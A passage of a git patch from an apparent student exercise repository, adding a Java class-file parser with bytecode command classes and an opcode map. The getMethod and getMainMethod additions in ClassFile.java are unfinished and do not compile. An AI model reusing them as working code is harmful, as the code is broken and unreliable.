+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
 }

From f6b35e9386acbd085978a510cab5e2f39c7a1f63 Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Sun, 23 Apr 2017 10:44:59 +0800
Subject: [PATCH 104/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coderising/jvm/attr/CodeAttr.java |  30 +-
 .../coderising/jvm/attr/LineNumberTable.java  |  13 +
 .../jvm/attr/LocalVariableTable.java          |  12 +
 .../src/com/coderising/jvm/clz/ClassFile.java | 181 +++++----
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 ++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ++++++
 .../com/coderising/jvm/cmd/CommandParser.java | 130 ++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 ++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 ++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 ++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ++++
 .../jvm/test/ClassFileloaderTest.java         | 379 +++++++++++-------
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  72 ++++
 .../coderising/jvm/attr/LineNumberTable.java  |  55 +++
 .../jvm/attr/LocalVariableItem.java           |  39 ++
 .../jvm/attr/LocalVariableTable.java          |  42 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 ++
 .../src/com/coderising/jvm/clz/ClassFile.java | 102 +++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 ++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ++++++
 .../com/coderising/jvm/cmd/CommandParser.java |  85 ++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 ++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 ++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 ++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ++++
 .../coderising/jvm/constant/ClassInfo.java    |  28 ++
 .../coderising/jvm/constant/ConstantInfo.java |  40 ++
 .../coderising/jvm/constant/ConstantPool.java |  31 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  58 +++
 .../jvm/constant/MethodRefInfo.java           |  60 +++
 .../jvm/constant/NameAndTypeInfo.java         |  51 +++
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../coderising/jvm/constant/StringInfo.java   |  32 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  37 ++
 .../src/com/coderising/jvm/field/Field.java   |  50 +++
 .../jvm/loader/ByteCodeIterator.java          |  57 +++
 .../jvm/loader/ClassFileLoader.java           | 140 +++++++
 .../jvm/loader/ClassFileParser.java           |  62 +++
 .../src/com/coderising/jvm/method/Method.java |  80 ++++
 .../jvm/print/ClassFilePrinter.java           |  54 +++
 .../jvm/print/ConstantPoolPrinter.java        |  25 ++
 .../jvm/test/ClassFileloaderTest.java         | 354 ++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 ++
 .../coderising/download/DownloadThread.java   |  20 +
 .../coderising/download/FileDownloader.java   |  73 ++++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  23 ++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 ++
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java |  34 ++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 ++
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/List.java            |   9 +
 .../src/com/coding/basic/array/ArrayList.java |  35 ++
 .../src/com/coding/basic/array/ArrayUtil.java |  96 +++++
 .../coding/basic/linklist/LRUPageFrame.java   |  57 +++
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++
 .../com/coding/basic/linklist/LinkedList.java | 125 ++++++
 .../com/coding/basic/queue/CircleQueue.java   |   5 +
 .../src/com/coding/basic/queue/Josephus.java  |  19 +
 .../com/coding/basic/queue/JosephusTest.java  |  27 ++
 .../src/com/coding/basic/queue/Queue.java     |  61 +++
 .../basic/queue/QueueWithTwoStacks.java       |  40 ++
 .../src/com/coding/basic/stack/Stack.java     |  64 +++
 .../src/com/coding/basic/stack/StackUtil.java | 136 +++++++
 .../com/coding/basic/stack/StackUtilTest.java |  65 +++
 .../coding/basic/stack/expr/InfixExpr.java    |  15 +
 .../basic/stack/expr/InfixExprTest.java       |  52 +++
 .../basic/stack/expr/InfixToPostfix.java      |  14 +
 .../coding/basic/stack/expr/PostfixExpr.java  |  95 +++++
 .../basic/stack/expr/PostfixExprTest.java     |  41 ++
 .../coding/basic/stack/expr/PrefixExpr.java   |  98 +++++
 .../basic/stack/expr/PrefixExprTest.java      |  45 +++
 .../com/coding/basic/stack/expr/Token.java    |  50 +++
 .../coding/basic/stack/expr/TokenParser.java  |  57 +++
 .../basic/stack/expr/TokenParserTest.java     |  41 ++
 98 files changed, 4769 insertions(+), 238 deletions(-)
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/List.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java

diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
index eb2a0a9a26..9bace446db 100644
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -4,6 +4,7 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.cmd.*;
 import sun.text.CodePointIterator;
 
 import java.io.UnsupportedEncodingException;
@@ -19,21 +20,21 @@ public String getCode() {
         return code;
     }
 
-    //private ByteCodeCommand[] cmds ;
-    //public ByteCodeCommand[] getCmds() {
-    //	return cmds;
-    //}
+    private ByteCodeCommand[] cmds ;
+    public ByteCodeCommand[] getCmds() {
+    	return cmds;
+    }
     private LineNumberTable lineNumTable;
     private LocalVariableTable localVarTable;
     private StackMapTable stackMapTable;
 
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code ,ByteCodeCommand[] cmds) {
         super(attrNameIndex, attrLen);
         this.maxStack = maxStack;
         this.maxLocals = maxLocals;
         this.codeLen = codeLen;
         this.code = code;
-        //this.cmds = cmds;
+        this.cmds = cmds;
     }
 
     public void setLineNumberTable(LineNumberTable t) {
@@ -68,8 +69,12 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
             e.printStackTrace();
         }
 */
+
         String code = codeIter.nextUxToHexString(code_len);
-        CodeAttr codeAttr = new CodeAttr(attribute_name_index, attribute_len, max_stack, max_locals, code_len, code);
+
+        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+        CodeAttr codeAttr = new CodeAttr(attribute_name_index, attribute_len, max_stack, max_locals, code_len, code, cmds);
 
         int exception_table_len = codeIter.nextU2ToInt();
         if (exception_table_len > 0) {
@@ -122,5 +127,16 @@ private void setStackMapTable(StackMapTable t) {
 
     }
 
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        //buffer.append("Code:").append(code).append("\n");
+        for(int i=0;i<cmds.length;i++){
+            buffer.append(cmds[i].toString(pool)).append("\n");
+        }
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
 
 }
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
index 2130cdb021..6ac9830d4d 100644
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -57,6 +57,7 @@ public static LineNumberTable parse(ByteCodeIterator iter, int attribute_name_in
         }*/
 
 
+
         for (int i = 0; i <line_number_table_len ; i++) {
             LineNumberItem item = new LineNumberItem();
             item.setStartPC(iter.nextU2ToInt());
@@ -66,5 +67,17 @@ public static LineNumberTable parse(ByteCodeIterator iter, int attribute_name_in
         return table;
     }
 
+    public String toString(){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Line Number Table:\n");
+        for(LineNumberItem item : items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("lineNum:"+item.getLineNum()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+
+    }
+
 
 }
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
index 4f7096140f..e1cd5247fb 100644
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -37,6 +37,18 @@ public static LocalVariableTable parse(ByteCodeIterator iter,int attribute_name_
 
         return table;
     }
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Local Variable Table:\n");
+        for(LocalVariableItem item : items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
 
     private void addLocalVariableItem(LocalVariableItem item) {
         this.items.add(item);
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
index 4755266987..aa4f4cb5ad 100644
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -9,84 +9,105 @@
 import com.coderising.jvm.method.Method;
 
 public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
+
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+    private List<Field> fields = new ArrayList<Field>();
+    private List<Method> methods = new ArrayList<Method>();
+
+    public ClassIndex getClzIndex() {
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag) {
+        this.accessFlag = accessFlag;
+    }
+
+
+    public ConstantPool getConstantPool() {
+        return pool;
+    }
+
+    public int getMinorVersion() {
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion) {
+        this.minorVersion = minorVersion;
+    }
+
+    public int getMajorVersion() {
+        return majorVersion;
+    }
+
+    public void setMajorVersion(int majorVersion) {
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstPool(ConstantPool pool) {
+        this.pool = pool;
+
+    }
+
+    public void setClassIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f) {
+        this.fields.add(f);
+    }
+
+    public List<Field> getFields() {
+        return this.fields;
+    }
+
+    public void addMethod(Method m) {
+        this.methods.add(m);
+    }
+
+    public List<Method> getMethods() {
+        return methods;
+    }
+
+
+    public void print() {
+
+        if (this.accessFlag.isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + getClassName());
+
+        System.out.println("Super Class Name:" + getSuperClassName());
+
+
+    }
+
+    private String getClassName() {
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    private String getSuperClassName() {
+        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
+
+    public Method getMethod(String methodName, String paramAndReturnType) {
+        Method method = new Method(this,this.accessFlag,)
+
+    }
+
+    public Method getMainMethod() {
+
+
+    }
 }
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..d84508c68b
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,130 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.sun.org.apache.bcel.internal.generic.BIPUSH;
+import com.sun.org.apache.bcel.internal.generic.INVOKESPECIAL;
+
+public class CommandParser {
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
